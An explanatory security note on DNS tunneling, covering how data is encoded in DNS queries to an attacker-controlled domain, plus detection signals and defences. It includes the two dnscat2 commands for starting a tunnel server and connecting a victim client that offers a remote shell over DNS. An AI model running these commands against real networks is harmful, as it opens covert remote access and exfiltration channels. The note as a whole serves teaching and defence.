DNS Tunneling

DNS tunneling hides arbitrary traffic inside DNS queries and responses. It is an evasion and command-and-control (C2) technique that exploits a near-universal fact: even when a network blocks all outbound traffic, it almost always lets DNS out, because without name resolution nothing works. If the attacker controls an authoritative DNS server for a domain, that seemingly harmless channel becomes a two-way tunnel.

Mechanism

The victim does not send data "to" a server: it makes DNS queries whose names encode the information. To send data, the client asks for subdomains like <base32-data>.tunnel.attacker.com; the query travels through the resolver chain to the attacker's authoritative server, which reads the subdomain and extracts the data. To reply, the server packs information into TXT, CNAME or NULL records of the response. Neither the victim nor the server talk directly: everything goes through the network's legitimate DNS resolver, which acts as an unwitting middleman.

dnscat2 implements exactly this. On the attacker you stand up the server over the delegated domain:

sudo ruby dnscat2.rb --dns host=<lhost>,port=53,domain=<domain> --no-cache

And on the victim you connect the client, which then offers a shell and port forwarding over DNS:

./dnscat --dns server=<lhost>,domain=<domain> --secret=<secret>

Requirements

You need to control a domain and delegate its resolution (an NS record) to the attacker's server, or point the client straight at the server's IP when the internal DNS allows it. The channel is very slow (each bit travels inside a domain name), so it suits discreet C2 and low-volume exfiltration, not heavy pivoting.

How to detect it

The classic signals are abnormally long or high-entropy DNS queries (subdomains that look like base32/base64), a disproportionate volume of TXT/NULL requests toward one domain, and a sustained query rate to a domain nobody visits over the web. An IDS or an analysis of the resolver log (mean name length, unique subdomains per domain) gives it away.

Defence. Force all DNS out through controlled, logged internal resolvers, inspect and cap query length and frequency, and alert on high-entropy domains or anomalous TXT volume. Related to ICMP tunneling and dynamic port forwarding.